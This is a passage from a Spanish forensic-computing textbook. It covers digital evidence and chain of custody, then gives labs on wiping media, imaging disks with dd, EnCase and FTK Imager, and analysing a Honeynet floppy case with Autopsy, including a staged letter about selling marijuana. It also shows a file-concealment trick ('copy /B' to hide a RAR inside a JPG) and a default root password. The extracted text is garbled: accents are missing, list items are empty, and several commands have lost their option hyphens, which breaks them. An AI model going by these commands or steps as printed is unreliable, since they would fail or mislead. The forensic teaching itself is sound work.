Cualquier informacin, que sujeta a una intervencin humana u otra semejante que ha sido extrada de un
medio informtico, HB:171 2003 Guidelines for the Managment of IT evidence.
Una vez reconocida la evidencia digital debe ser preservada en su estado original. Se debe tener en mente
que la ley requiere que la evidencia sea autentica y sin alteraciones. Casey
Es necesario que cambie la forma como las reglas formalistas del derecho de la prueba deben ser
interpretadas, o en el peor de los casos reformuladas, ya que actualmente en Colombia es muy poco lo que
se valora a las tecnologas informticas en disposiciones legales. Daniel Torres Falkonert
8.0
Es la materia prima de los investigadores, es voltil y annima, es modificable, es decir se puede duplicar,
borrar o alterar pero son parte fundamental de la escena del delito, si se compromete la evidencia se puede
perder el caso administrativo o legal de la investigacin forense.
Es crtico recordar que la evidencia se puede duplicar y aun as esta copia es original respecto de los
entornos digitales.
Aseguramiento de la evidencia
Una
9.0
La cadena de custodia
9.1
Marcas de evidencia, Hora y fecha, Numero de caso, Numero de la marca de la evidencia, Firma de la
persona que posee la informacin, quien tena la informacin o por quien fue provista
9.2
Proteja el original: Se debe proteger el original en orden descendente de volatilidad, se deben tomar fotos de
los equipos por sus diferentes lados, se deben usar medios estriles para no contaminar las pruebas y
finalmente se debe usar software licenciado o preferiblemente software open source
9.3
Documentar
521
Se deben asegurar las pruebas haciendo correlacin entre estas, se debe reconstruir el escenario teniendo
en cuenta que los relojes de los sistemas pueden estas sin sincronizar
9.4
Presentacin de la evidencia
10.
Como estacin forense para adquisicin de datos y anlisis de datos se recomienda como mnimo:
Productos muy recomendados por el autor para hacer investigacin forense se encuntrn en el siguiente url:
www.digitalintelligence.com, en especial se recomienda la estacin forense FRED-L.
Existen bloqueadores para hacer adquisicin de datos que dan proteccin contra la escritura de la evidencia
denominados en ingles BLOCKERS, este fabricante DigitalIntelligence le llama a este conjunto de
dispositivos Ultrakit:
522
Generalmente esta maleta o CASE agrupa los bloqueadires contra escritura con sus cables para conectarse a
la estacin forense para copiar evidencia.
La siguiente figura muestra un bloqueador que permite leer medios SCSI hacia la estacin forense por medio
de las siguientes conexiones:
a)
b)
c)
d)
Puerto
Puerto
Puerto
Puerto
Tambin existen otros que permiten hacer adquisicin de datos bloqueando la escritura del medio para
medios IDE, SATA y USB.
Otro fabricante recomendado para adquirir las herramientas de hardware para adquisicin de datos con
nfasis en el sector gubernamental es www.corpsys.com, la siguiente figura muestra un ejemplo del kit:
Este kit para adquisicin y anlisis de datos con nfasis militar esta en elsitio web del fabricante
http://www.icsforensic.com
10.1.
Duplicacin forense
523
10.2.
524
10.3.
Laboratorio:
Medios esterilizados para salvaguardar evidencias
Objetivos:
Preparar el disco externo USB para guardar evidencia de computacin forense, antes de hacer toma de datos
deben estar los medios esterelizados para no contaminar la evidencia
Paso 5: Cree un sistema de archivo ext3fs o reiserfs para guardar datos en el disco externo
# mkfs t ext3 /dev/sdb1 para discos de tipo SCSI o SATA
# mkfs t ext3 /dev/hdb1 para discos de tipo IDE, ahora el disco externo estar listo para ser utilizado.
Paso 6: Cree un hash del disco externo cuando el disco externo est listo para la adquisicion
#sha1sum b /dev/sdb > sdb.sha1sum
525
Cuestionamientos
time
time
time
time
Observe la salida del comando time, cual es ms eficiente en cuanto al tiempo de proceso?
526
Laboratorio:
Creando un archivo/fichero de evidencia en una estacin forense Adquisicion de datos
Objetivo: Hacer una copia exacta del disco sospechoso para guardar la evidencia, esto es muy conocido
como fase adquisicin de datos de la investigacin forense
Prerrequisitos: Asegrese que la BIOS de la estacin forense este haciendo arranque por medio del
CDROM/DVD y no por medio de las unidades USB externas, no debe hacerse arranque desde el disco
sospechoso pues se modificara la evidencia
Paso 1: Conecte el disco de sospechoso en la unidad USB externa mediante un convertidor si es necesario,
no olvide configurar el interruptor en solo lectura, algunos Linux montan en forma automtica el medio
externo y modifican la evidencia
Paso 2: Dele potencia porttil o estacin forense con el cd Live linux BackTrack
Paso 3: En la lnea de comandos verifique la identificacin del disco sospechoso con la herramienta dmesg
Tome nota, por favor escriba cual es la cadena que identifica al disco forense y cul es la cadena que
identifica al disco sospechoso, por ejemplo:
/dev/sda identifica mi primer disco de trabajo interno y almacenamiento de informes personales
/dev/sdb identifica mi disco forense para hacer duplicacin o guardar evidencias
/dev/sdc identifica el disco sospechoso al que se le hara la adquision de datos.
Paso 4: Monte el disco externo de duplicacin forense (el que se hizo en laboratorio anterior)
# mount /dev/sdb1 /mnt/sdb1
Verifique que monto el disco forense y no el sospechoso, para este caso debe ser /dev/sdb
Paso 5: Cree una carpeta del caso investigado en el disco forense (donde se guarda la evidencia)
# mkdir -p /mnt/sdb1/caso-0001/evidencia-0001
xxxx, que esta posicionado antes del smbolo +, indica el numero de registros sin errores que se
pudieron leer desde el medio sospechoso
y, que esta despus del smbolo +, indica el numero de registros con errores que se pudieron leer
desde el medio sospechoso
zzzz, que esta posicionado antes del smbolo +, indica el numero de registros sin errores que se
pudieron grabar al medio de almacenamiento forense
w, que esta despus del smbolo +, indica el numero de registros con errores que se pudieron
grabar al medio de almacenamiento forense
527
Cuestionamientos
Si el anlisis forense se hace en Microsft Windows utilizando la herramienta comercial EnCase los archivos
de toma de datos deben ser de mximo 2GB por lo que lo explicado en este laboratorio no funcionaria en
Windows con la mencionada herramienta.
Existen varias formas de hacer que la evidencia de ms de 2GB sea particionada en pedazos de mximo
2GB, por ejemplo:
# dd if=/dev/sdc of=sdc.1 conv=notrunc,noerror,sync count=3000000 skip=0, Para los 1.5 primeros GB.
# dd if=/dev/sdc of=sdc.2 conv=notrunc,noerror,sync count=3000000 skip=3000000, Para los siguientes
1.5 GB.
El numero 3000000 se debe a que bloques de 512 bytes x 3000000 = 1.5GB que es menor a 2GB que es lo
mximo permitido por EnCase a la fecha.
Prueba otras estrategias como:
EXT2IFS de www.fs-driver.org
Pruebe la herramienta split de Linux, as split b 2000000000 sdc sdc.
528
Notas importantes:
Fat32: Para un sistema de archivos FAT32 o VFAT de Microsoft los archivos de evidencias creados con la
herramienta dd no podrn tener mas de 4GB, es decir es un error usar el sistema de archivos FAT32 para
guardar evidencia de mas de 4GB.
LVM: Cuando se han utilizado herramientas como la suministrada por IBM LVM (Large Volume managment)
no se podrn accederlos para copiarlos en forma individual, para ello digite en tiempo de arranque con el
LIVE CD:
# vgscan -mknodes
El comando anterior nos informara si existe un grupo de discos
# vgchange a y
Esto creara un dispositivo o apuntador que identificara el volumen o los volmenes existentan en el
directorio /dev/mapper, para el caso de un SUSE 10 server se encontr el volumen system-vol00.
Como regla general siempre es recomendable verificar el directorio /dev/mapper.
529
Laboratorio:
Creando un archivo/fichero de evidencia desde una estacin Linux de la red hacia una estacin forense linux
Objetivo:
Por medio de la red hacer una copia exacta del disco sospechoso para guardar la evidencia, esto es
muy conocido en la fase adquisicin de datos en red para la investigacin forense
Paso 2: En la lnea de comandos verifique la identificacin del disco forense con la herramienta dmesg
/dev/sda identifica mi primer disco de trabajo interno y almacenamiento de informes personales
/dev/sdb identifica mi disco forense para hacer duplicacin o guardar evidencias
Paso 3: Monte el disco externo de duplicacin forense (el que se hizo en laboratorio anterior)
# mount /dev/sdb1 /mnt/sdb1
Verifique que efectivamente monto el disco forense en /mnt/sdb1.
Paso 4: Cree una carpeta del caso investigado en el disco forense (donde se guarda la evidencia)
# mkdir -p /mnt/sdb1/caso-0001/evidencia-0001
# cd /mnt/sdb1/caso-0001/evidencia-0001
xxxx, que esta posicionado antes del smbolo +, indica el numero de registros sin errores que se
pudieron leer desde el medio sospechoso
y, que esta despus del smbolo +, indica el numero de registros con errores que se pudieron leer
desde el medio sospechoso
zzzz, que esta posicionado antes del smbolo +, indica el numero de registros sin errores que se
pudieron grabar al medio de almacenamiento forense
w, que esta despus del smbolo +, indica el numero de registros con errores que se pudieron
grabar al medio de almacenamiento forense
530
Nota: Se recomienda que estos pasos se hagan frente a un perito forense acompaado de un notario si el
caso se presentara en instancias judiciales.
Cuestionamientos
Se debe subir el servicio netcat cada vez que se desee transferir archivos?
Qu pasara si no se hace el hash de cada transferencia?
Qu pasara si un notario no est presente cuando se hace la toma de datos y esto se ventila ante
el juez cuando se est sustentando la prueba?
531
Laboratorio:
Analisis de datos con Sleuth Kit & Autopsy
Agradecimientos:
Se le agradece al Ing. Omar Becerra, Ing. Electronico de la Universidad Autonoma de Colombia por el
aporte y dedicacin para mejorar este laboratorio: omar.becerra@globalteksecurity.com
Antecedentes:
Sleuth Kit es un conjunto de herramientas creados por Dan Farmer y Wietse Venema y derivadas de The
Coroner's Toolkit (TCT). La aplicacin funciona sobre Unix y linux, es capaz de analizar sistemas FAT, NTFS
o ext2/3. Autopsy es el frontend grfico, basado en web, para Sleuth Kit, y permite gestionar va web la
investigacin de diversas imgenes. Al tratarse de una aplicacin web, la aplicacin se puede trabajar
mediante el uso de un navegador web.
El software puede ser descargado de la pgina web del proyecto: http://www.sleuthkit.org/, y compilarse
sobre el sistema operativo, sin embargo existen herramientas que implementan este software y facilitan su
uso, la herramienta a utilizar durante esta prctica es el live CD Helix pero tambin funciona en BackTrak.
Los ejemplos que se muestran a continuacin se basan en la versin 2.08 de Autopsy, compilado en el live
CD BackTrak)
Para este laboratorio se ha tomado un caso ficticio del portal www.honeynet.org, el caso completo se
encuentra en el siguiente URL: http://www.honeynet.org/scans/scan24/sol/kalil/, cuyo autor es Dan Kalil y
se ha elegido este caso para ilustrar el anlisis de un diskette con informacin que acusa al criminal.
532
El autor ha confirmado y a la fecha esta herramienta solamente soporta los siguientes sistemas de archivos:
ext, ext2, ext3, fat, ntfs, ufs, iso9660, fat12, fat16, fat32, bsdi, freebsd, openbsd, solaris, raw y swap.
Tarea:
Busque en internet como dar a soporte a los sistemas de archivos Unix de SCO, por ejemplo HTFS
Paso 1: Cargar el Linux BackTrack Live CD, una vez cargado en el sistema, para acceder a la ventana de
comandos, se debe identificar el usuario como root y su password toor.
Paso 2: Si no tiene modo grfico carguelo ahora, en la ventana de ejecucin de comandos, ejecute el
comando startx &
# startx &
Paso 3: Abra una consola de comandos y cree una carpeta en la raz del directorio llamada evidencia
# mkdir /evidencia
533
Monte la USB donde har la investigacin forense en la carpeta /evidencia, tendr permiso de escritura sobre
la USB para poder grabar mas evidencia.
# mount /dev/sdb1 /evidencia
Paso 4: monte el archivo/fichero fd.ima incluido en el DVD de este libro a la carpeta /mnt/floppy y
monte la imagen del floppy de solo lectura para observar el contenido del disco flexible:
# mkdir p /mnt/floppy
# mount -o loop,ro /evidencia/fd.ima
/mnt/floppy
# cd /mnt/floppy
# ls al
Encontrar 2 archivos/ficheros, uno corresponde a una imagen grafica de tipo gif y el otro es un
archivo/fichero comprimido en formato ZIP, Ahora copie los archivos hacia la USB donde maneja la
evidencia:
# cp v * /evidencia
# cd /evidencia
Descomprima el archivo con el comando:
# unzip Scheduled\ Visits.zip
Nota: No se puede descomprimir, pues este requiere de una contrasea para descomprimirlo y aun no la
conocemos, se recomienda abrir el archivo grafico para evaluar pistas, podra contener la palabra secreta!!!
Paso 5: Cargue la aplicacin Autopsy, en la ventana de comandos, ejecute:
# autopsy
534
Vamos a crear un nuevo caso, para ello, se pulsa el botn New Case, la informacin necesaria para la
creacin de un nuevo caso es la siguiente:
a.
b.
c.
Investigator Name: Nombre o nombres de los investigadores. Cada uno de ellos puede
trabajar sobre el mismo caso con sus propias herramientas.
Una vez escrita la informacin, se pulsar el botn New case para crearlo y guardarlo en la base
de datos.
535
Ahora se debe agregar un Host, hace alusin a la mquina (servidor o PC que est siendo investigado), es
un repositorio donde se pueden almacenar imgenes forenses que se hayan obtenido de la fase de
recoleccin de datos, dentro de un caso, pueden existir varios Hosts y dentro de cada Host varias
imgenes.
A pesar que el sospechoso no tiene ningn equipo informtico en su vivienda, se debe crear un Host:
d.
e.
f.
Time Zone:
investigando.
g.
Timeskew Adjustment:
ajuste de la hora del computador, si el reloj no est
correctamente sincronizado, se debe ajustar el tiempo (Por ejemplo, si est 25 segundos
adelantado, el valor a ingresar es -25)
Para crear este host, presione finalmente el botn ADD HOST, el host ser creado y agregado a la base de
datos:
536
Presione el botn ADD IMAGE para finalizar el proceso de creacin del host e iniciar el proceso de agregar
una imagen.
Ahora se debe agregar la imagen del volumen tomado durante la pesquisa policial (La imagen entregada y
guardada en /imagen)
j.
Import Method: La imagen a analizar ser importada por la herramienta, las opciones
son: Symlink (Crea un link simblico a la imagen); Copy (Genera una copia de la imagen);
Move (mueve la imagen de su ubicacin al locker de evidencia). Se recomienda generar
una copia de la imagen.
537
Una vez agregada la imagen, la herramienta desplegar detalles del archivo cargado, debemos ahora
especificar algunos datos correspondientes a esta imagen:
k.
l.
ii.
Figura 11
Una vez verificados los datos de esta ventana, se pulsa el botn ADD, se procesar la imagen de acuerdo a
los datos entregados, se calcula la suma de chequeo de la imagen (MD5), se prueban las particiones (o
discos) y finalmente se copia (se crea el link simblico o se mueve) la imagen al locker de evicencias. El
tiempo que tome este proceso depender del tamao de la imagen.
538
Para finalizar el proceso de creacin del caso, presione el botn ADD IMAGE.
Finalmente, la imagen ser montada, ahora vamos a analizar el contenido de esta imagen, para ello,
debemos pulsar el botn Analize
Se abrirn las opciones que tenemos para analizar la imagen montada sobre el software forense,
seleccionemos ahora la opcin File Analisys
Los tipos de sistemas de archivo soportados a la fecha son: Ext, fat, ntfs, ufs, iso9660, fat12, fat16 y fat32,
freeebsd, openbsd, solaris, raw, swap, bsdi, dos, gpt y mac.
Esta nueva ventana nos mostrar informacin detallada del contenido (archivos/ficheros) de la imagen
forense. Se puede observar que hay dos (2) archivos en color rojo y que la columna DEL est marcada
con estos archivos, lo cual quiere decir que estos archivos fueron borrados del disco flexible.
539
NOTA: Estos archivos/ficheros se podrn recuperar siempre y cuando el espacio que ocupaban en el disco
flexible no haya sido sobreescrito por otro archivo.
Tome el mouse y haga clic sobre el archivo no borrado denominado coverpage.bmp, en la parte inferior
de la herramienta se ver el contenido del archivo, all se puede ver que hay una parte completamente
legible en cdigo ASCII.
Para filtrar las cadenas legibles, seleccione sobre el panel central ASCII Strings, en seguida tome la opcin
display, ver el texto como se muestra en la figura:
Observe la cadena de caracteres pw=goodtimes, muy probablemente se haya utilizado una tcnica de
esteganografa para mezclar un texto (la contrasea) sobre una imagen.
Ahora con la contrasea obtenida, se debe intentar descomprimir el archivo o fichero Scheduled Visits.zip.
Se debe abrir una nueva consola de comandos:
540
# cd /evidencia
Descomprimimos el archivo con el comando:
# unzip Scheduled\ Visits.zip, e ingresamos la contrasea goodtimes
Nos damos cuenta que es la contrasea correcta y obtenemos el archivo unzip Scheduled\ Visits.xls
El archivo/fichero obtenido de la imagen puede ser copiado y abierto con la ayuda de Excel para buscar
evidencia acusatorias. Para agilizar este proceso, simplemente, utilizaremos el editor vi o mc para poder
observar el contenido del archivo: En la ventana de comandos, ejecute la sentencia: mc, luego busque el
archivo/fichero y con la tecla F3 puede ver el contenido del archivo/fichero Scheduled\ Visits.xls
Se obtendr una visin cruda del archivo XLS, pero observando el contenido del archivo/fichero, podremos
encontrar cadenas de caracteres perfectamente legibles, pero con esta informacin de un listado de colegios
no podemos incriminar al seor Joe con la venta de drogas en otras escuelas.
Ahora vuelva a revisar los archivos/ficheros borrados dentro de la imagen del diskette, se debe enfocar el
anlisis en el archivo/fichero borrado Jimmy Jungle.doc, observar que esta en formato Word. Si posiciona
el cursor sobre ese archivo/fichero y activa la opcin ASCII Strings y dentro de esta activa la opcin
display se podr ver el texto como se muestra en la figura:
Tambin se pueden exportar los archivos/ficheros borrados para editarlos y analizarlos con herramientas
especializads en ese formato, al exportarlos estos residirn en la carpeta /root/Desktop de linux, llvelos a
Windows y con un editor de textos Microsoft Word como el SUN Open Office o con Microsoft Word
concentrese en leer el archivo borrado en formato Word. Nuevamente revise el texto que se muestra
completamente a continuacin:
Jimmy Jungle
626 Jungle Ave Apt 2
Jungle, NY 11111
Jimmy:
Dude, your pot must be the best it made the cover of High Times Magazine! Thanks for sending me the
Cover Page. What do you put in your soil when you plant the marijuana seeds? At least I know your growing
it and not some guy in Columbia.
541
These kids, they tell me marijuana isnt addictive, but they dont stop buying from me. Man, Im sure glad
you told me about targeting the high school students. You must have some experience. Its like a
guaranteed paycheck. Their parents give them money for lunch and they spend it on my stuff. Im an
entrepreneur. Am I only one you sell to? Maybe I can become distributor of the year!
I emailed you the schedule that I am using. I think it helps me cover myself and not be predictive. Tell me
what you think. To open it, use the same password that you sent me before with that file. Talk to you later.
Thanks,
Joe
En el texto anteriormente obtenido se habla del password para descomprimir el archivo Excel, es importante
observar que en el texto dice que se le envio va email la clave secreta o password para abrir el archivo
Excel. Si un juez viera esta afirmacin se podra acusar al implicado pues se muestra mala intencin al
querer daar a los nios por el inters comercial de los implicados en vender marihuna a los nios alumnos
de los colegios en mencin.
Cuestionamientos:
Que relacin hay entre el archivo/fichero en formato Word contra el archivo/fichero en formato
Excel?
Podra hacer un informe para presentarlo al juez donde se acuse al seor Jacob de ventas de
drogas a nios?
Mas adelante se muestra una documentacin de un incidente que podr ayudar con esta tarea.
542
Paso 1: Ubicar en un directorio una imagen (foto.jpg) y el archivo comprimido que vamos a ocultar
(documentos.rar):
Paso 2: Abramos la consola de comandos de Windows: Inicio > Ejecutar, en el cuadro escribir cmd.
Paso 3: Entrar al directorio donde tenemos la imagen y el archivo comprimido, ejecutando los comandos:
C:> cd \
C:> cd test
Paso 4: Ahora enmascare el archivo comprimido sobre la imagen seleccionada, ejecutando el comando:
C:> copy /B foto.jpg+documentos.rar imagen.jpg
543
1.
Si le da doble clic sobre la imagen, esta se ver como tal, una imagen idntica a la original, sin
embargo, al visualizar los detalles de este archivo, nos damos cuenta que el tamao es la suma del
tamao de los dos archivos.
2.
Para abrir dicho archivo, se da clic con el botn derecho del mouse y se selecciona el programa
apropiado para abrirlo, en este caso WinRAR
3.
Podemos verificar que el contenido del archivo documentos.rar (Figura 24) es exactamente igual
al contenido del archivo imagen.jpg (Figura 25).
544
Figura 24
Cuestionamientos:
Como podra guardarse informacin en una grfica por ejemplo el texto pw=goodtimes como una
clave en forma cifrada?
545
10.4.
Laboratorio:
Esterilizacin de medios magnticos con EnCase
Objetivos:
Preparar el disco externo, memoria USB o medio magntico para guardar evidencia de computacin
forense antes de hacer adquisiciones de datos
Los medios magnticos para adquisicn de datos deben ser esterilizados para no contaminar la
evidencia
Cuando el sistema Windows termine de cargar inserte el medio que desea esterilizar, para este caso
deseamos escribir ceros (0x0) en el medio magntico para borrar fsicamente los datos de casos anteriores o
datos de usuarios que estn pre-existentes. Esto evitara que se contamine la evidencia que en el futuro se
ponga en este medio magntico.
Se debe observar que para este caso la memoria USB que deseamos esterilizar se denomina la Unidad E,
cuyo nombe de volmen es KINGSTON. La Unidad C contiene el sistema operativo y existen otras unidades o
volmenes del investigador en la estacin forense.
546
Inicie la aplicacin EnCase y cree un nuevo caso tomando la opcin New, o File New.
Al presionar finalizar obtendr errores pues se ha utilizado el carcter especial dos puntos : en el nombre
del caso. Trate de nuevo pero no use caracteres especiales.
547
Es importante observar la unidad de almacenamiento donde esta quedando el caso, para su particular
laboratorio podra estar en la unidad C.
Es una buena prctica que los datos de los casos as como la evidencia no queden en el mismo disco del
sistema operativo, lo ideal es que estn en un volmen diferente.
La idea es evitar que al formatear el disco del sistema operativo se pierdan los datos de los casos de
investigacin forense.
548
Se debe observer que tambin aparecen casi todas las particiones, por ejemplo la particin E equivale a la
memoria USB, las particiones I, J y K son del disco duro interno, es importante notar que no aparece la
particin C pues no debemos tocar la particion del sistema operativo de la estacin forense.
549
Ahora elija el medio magtico deseado, para este caso es la memoria USB marca Kingston de 4GB que
aparece como el disco 1, no se debe marcar la particin del disco, siempre se debe marcar el disco pus
queremos esterilizar el medio completo.
Ahora EnCase le pide digitar la palabra Yes para confirmar la destruccin de los datos residents en el medio
magnetic que deseamos esterilizar.
Para este caso de una memoria USB de 4GB se tom 02 minutos y 56 segundos, pero para un disco SATA de
250 GB con interface USB se toma unas 3 horas y finalmente para un disco SATA USB de 500GB se toma
unas 8 horas.
550
Ahora existen soluciones ms rpidas en hardware que no requieren de una estacin forense por ejemplo el
dispositivo HARDCOPY III permite hacer esterilizacin de hasta dos discos duros.
Este dispositivo es en realidad un duplicador forense muy rpido, construido en hardware especializado para
duplicar y adems esterilizar medios mgneticos en gran volmen. Son muy usados por las fuerzas militares
y por los consultores especializados en investigacin forense.
Windows por defecto crea una nica particin pero se pueden crear varias particiones o unidades lgicas.
Presione Formatear disco.
Paso 7: Cree un sistema de archivos ntfs para guardar datos en el disco externo
551
Se le propone al investigador varios sistemas de archivos como FAT, FAT32, exFAT y NTFS, se recomienda
usar para adquisicin de datos el sistema de archivos NTFS dado que FAT32 no soporta archivos mas
grandes de 4GB. Elija formato rpido y presionar el botn Iniciar.
Paso 8: Cree un hash del disco externo
El disco para la adquisicin de datos debe ser parte del caso, es decir el tendr evidencia y por lo tanto es
parte del caso, EnCase no puede tocar dispositivos que no son parte del caso.
Tome la opcin Add Device, Local Drives
Seleccione la memoria USB. Para este caso es el dispositivo numero 7 o disco nmero 1.
Es importante observar que ahora si aparece el disco 0, es decir el disco del sistema de la estacin forense,
esto se debe a que estamos adicionando dispositivos que son evidencias para el caso.
Al seleccionar el dispositivo que aparece como nmero 1 se puede observer al lado derecho el MBR o master
boot Record del dispositivo pues se ve el volume Boot, el primary FAT, el secondary FAT y el unlocated
clusters.
Ahora se debe generar el hash:
Estando el cursor sobre el dispositivo nmero 1 presione el botn derecho del mouse y seleccione la opcin
hash.
552
Es importante observar el nmero inicial y final del sector dentro del dispositivo, este es el hash calculado
segn los algoritmos MD5 y SHA1:
Debe de inmediato quitar el medio magntico, si desea verificarlo debe protegerlo con un bloqueador de
escritura.
Paso 9: Verifique que est correcto el hash:
Cuestionamientos
553
Laboratorio:
Creando un archivo/fichero de evidencia con EnCase Fase de adquisicin de datos
Objetivo:
Hacer una copia exacta del disco sospechoso para guardar la evidencia
De potencia al computador portatil de investigacin forense (FRED-L), cuando el sistema Windows termine
de cargar inserte el bloqueador que contiene el medio que se desea hacer la adquisicin de datos.
554
Inicie la aplicacin EnCase y cree un nuevo caso tomando la opcin New, o File New.
555
Aparecen todas las particiones de todos los discos instalados, por ejemplo la particin E equivale a la
memoria USB a la que deseamos hacerle adquisicin de datos, las particiones I, J y K son del disco duro
interno.
Paso 6: Haga la adquisicin de datos del disco investigado
Para este caso solo necesitamos hacer la adquisicin de una sola particin por ser una memoria USB, para
discos duros se recomienda hacerle la adquisicin al disco completo, es decir el disco numero 7 de este caso.
Al hacer click sobre el disco se muestra un mapa de cmo esta particionado y que archivos contiene:
556
Aparece sealada la opcin Replace source device indicando que el dispositivo o disco ser parte del caso
como evidencia, ahora se debe presionar el botn Siguiente para continuar.
557
Cuestionamientos
Existen otras herramientas para MS Windows que permita hacer adquisicin de datos
en varios formatos difrentes a EnCase?
Qu es el formato raw?
Que es el formato smart?
Averigue que hace la herramienta FTK Imager.
558
Laboratorio:
Anlisis de datos para el caso Joe Jacob con EnCase Fase de anlisis de datos
559
La evidencia se debera guardar en un disco diferente al sistema operativo, para este caso la unidad I con
nombre DATOS contiene la evidencia.
Paso 3: Llame al aplicativo de investigacin forense Encase
Inicie la aplicacin EnCase y cree un nuevo caso tomando la opcin New, o File New.
560
Si la evidencia se suministra con extensin E01 ya estar en formato EnCase y no se necesitar la opcin
especial y licenciada Add Raw Image.
Cuando se cuenta con el token aladdin o HASP aparece dentro de la opcion File la opcin Add Raw Image:
Diligencie el nombre de la evidencia, seguido seleccione la opcin Disk, luego con el botn derecho sobre la
caja Component Files explore el disco donde se guarda la evidencia. Despus de seleccionar la imagen en
Component Files aparecer la evidencia que se necesita analizar, ahora presione el botn OK para
continuar.
561
Al posicionar el cursor sobre el nombre de la imagen aparecen todas las particiones de todos los discos
instalados ademas de los archivos/ficheros de cada particin.
Se debe observar el simbolo de borrado al inicio de dos archivos/ficheros.
Si mueve la barra de los archivos/ficheros del lado derecho entonces observar la columna de borrado, la
ltima vez que se accedio y mucha informacin interesante desde el punto de vista del cmputo forense.
NOTA: Estos archivos/ficheros se podrn recuperar siempre y cuando el espacio que ocupaban en el disco
flexible no haya sido sobreescrito por otro archivo/fichero.
Paso 6: Se deben revisar los archivos/ficheros que el usuario vera antes que los objetos borrados
Con el mouse haga clic dos veces sobre el archivo no borrado y comprimido llamado Scheduled Visits.zip.
El programa winrar o winzip previamente instalado en la estacin forense ser llamado para descomprimirlo:
562
Winrar o winzip informar que es una hoja electrnica tipo Excel pero no puede ser abierta pus su dueo le
configur una contrasea.
Nota: No se puede descomprimir, pues este requiere de una contrasea para descomprimirlo y aun no la
conocemos, se recomienda abrir el archivo/fichero grfico para evaluar pistas, podra contener la palabra
secreta!!!
Paso 7: Anlisis ms detallados de objetos no borrados
Se deben revisar los dems archivos/ficheros, por ejemplo los grficos, se debe buscar informacin que lo
incrimine adems de las claves ocultas para los archivos que no se dejan abrir.
Se debe tomar el mouse y hacer clic dos veces sobre el archivo/fichero coverpage.bmt, Windows no
puede abrirlo por la extensin que fu cambiada de bmp a bmt por algn usuario malicioso, la herramienta
es capaz de verificar en que formato fue construido el objeto de estudio:
563
Esto es altamente sospechoso pus el usuario no solo configura claves a los archivos/ficheros, adems
cambia la extensin de algunos archivos/ficheros para ocultar informacin por ejemplo el archivo/fichero
grfico coverpage.bmt.
Para ver el objeto de estudio en formato ASCII seleccione sobre el panel de abajo el cono Text y ver el
texto de la grfica como se muestra en la figura:
Observe al final del objeto la cadena de caracteres pw=goodtimes, muy probablemente se haya utilizado una
tcnica de esteganografa para mezclar un texto (posiblemente la contrasea) sobre una imagen.
Ahora con la contrasea obtenida, se debe intentar descomprimir el archivo/fichero Scheduled Visits.zip,
debe observarse que es la contrasea correcta y obtenemos el archivo/fichero Scheduled Visits.xls en
formato Excel. Pero observando el contenido del archivo/fichero, podremos encontrar cadenas de caracteres
perfectamente legibles, pero con esta informacin de un listado de colegios no podemos incriminar al seor
Joe Jcob con la venta de drogas en otras escuelas.
Jimmy Jungle
626 Jungle Ave Apt 2
Jungle, NY 11111
Jimmy:
Dude, your pot must be the best it made the cover of High Times Magazine! Thanks for sending me the
Cover Page. What do you put in your soil when you plant the marijuana seeds? At least I know your growing
it and not some guy in Columbia.
These kids, they tell me marijuana isnt addictive, but they dont stop buying from me. Man, Im sure glad
you told me about targeting the high school students. You must have some experience. Its like a
guaranteed paycheck. Their parents give them money for lunch and they spend it on my stuff. Im an
entrepreneur. Am I only one you sell to? Maybe I can become distributor of the year!
I emailed you the schedule that I am using. I think it helps me cover myself and not be predictive. Tell me
what you think. To open it, use the same password that you sent me before with that file. Talk to you later.
564
Thanks,
Joe
Conclusin:
En el texto anterior se habla del password o la clave para descomprimir el archivo Excel, es importante
observar que en el texto dice que se le envio va email la clave secreta o password para abrir el archivo
Excel. Si un juez viera esta afirmacin se podra acusar al implicado pues se muestra mala intencin al
querer daar a los nios por el inters comercial de los implicados en vender marihuna a los nios que son
los alumnos de los colegios en mencin.
Cuestionamientos
Si no cuento con la licencia de uso o token Aladdin puedo hacer anlisis de datos con
Encase de un caso que ya fue abierto?
Puedo procesar nueva evidencia en formato raw con Encase?
Puedo procesar nueva evidencia en formato E01 con Encase?
Puedo hacer borrado fsico o esterilizar dispositivos con Encase?
565
Laboratorio:
Creando un archivo/fichero de evidencia con FTK Imager Fase de adquisicin de datos
Objetivo:
De potencia al computador portatil de investigacin forense (FRED-L), cuando el sistema Windows termine
de cargar inserte el bloqueador que contiene el medio que se desea hacer la adquisicin de datos.
Paso 2: Verifique las unidades que ve el sistema operativo de la estacin forense
Se debe observar que para este caso la estacin FRED ve una memoria USB o disco USB, se denomina la
Unidad E, cuyo nombe de volmen es KINGSTON para este caso. No importa si el medio es un disco SCSI,
SATA o IDE, si el bloqueador se conecto por el puerto Host USB la FRED lo ver como una unidad USB.
La Unidad C para este caso contiene el sistema operativo y existen otras unidades o volmenes del
investigador en la estacin forense.
Paso 3: Llame al aplicativo de investigacin forense para adquisicin de datos FTK Imager
566
Inicie la aplicacin FTK Imager y adquiera evidencia tomando la opcin File, Add Evidence item.
Physical Drive: Indica todos los dispositivos fsicos que ve la estacin FRED-L.
Logical Drive: Es una particin o unidad lgica como C:, D:, E:, etc
Image File: Es una imagen que ya se adquri como DD, EnCase o Smarth
Contents of Folder: Es el contenido total de una carpeta, tiene como desventaja que no podr recuperar
archivos borrados o ver informacin especfica de sectores pus no tendr informacin de las particiones del
disco. Presione el botn Siguiente para continuar.
567
Aparecen todos los discos o dispositivos fsicos, seleccionamos para este caso el disco 1, pus el 0 es el disco
duro de la estacin forense que para este caso es un disco SATA Samsung de 500GB.
Paso 6: Visualice y enfquese en la fuente o dispositivo deseado
Al hacer click sobre el disco se muestra un mapa de cmo esta particionado y que archivos/ficheros
contiene:
Se pueden ver 2 objetos borrados y 2 objetos que el usuario puede visualizar en el anlisis de los datos.
Paso 7: Elija los objetos a los que desea hacer la adquisicin de datos forense
Como se desea todo el disco entonces se debe posicionar el cursor sobre el dispositivo fsico y presionar el
botn derecho del mouse, en seguida se debe seleccionar la opcin Export Disk Image.
568
Para saber el tiempo requerido para sta tarea se debe seleccionar la opcin Precalculate progress
Statistics, ahora se debe presionar el botn Add para elegir el formato de la adquisicin.
Paso 8: Elija el formato de adquisicin de salida como dd, smarth y EnCase
569
Este es el informe final de la herramienta por cada formato de salida que se elija:
570
Conclusin:
El hecho de usar FTK Imager para hacer la adquisicin de datos no obliga al investigador a usar FTK pus en
realidad depende de la herramienta especfica que formatos puede leer.
Cuestionamientos
Existen diferencias respecto al tamao en disco para los formatos raw, smart y EnCase?
Se puede abrir el formato Smarth dentro de Encase?
Se puede abrir el formato Encase dentro del FTK Imager?
Se puede abrir el formato Linux dd dentro del FTK Imager?
571
Laboratorio:
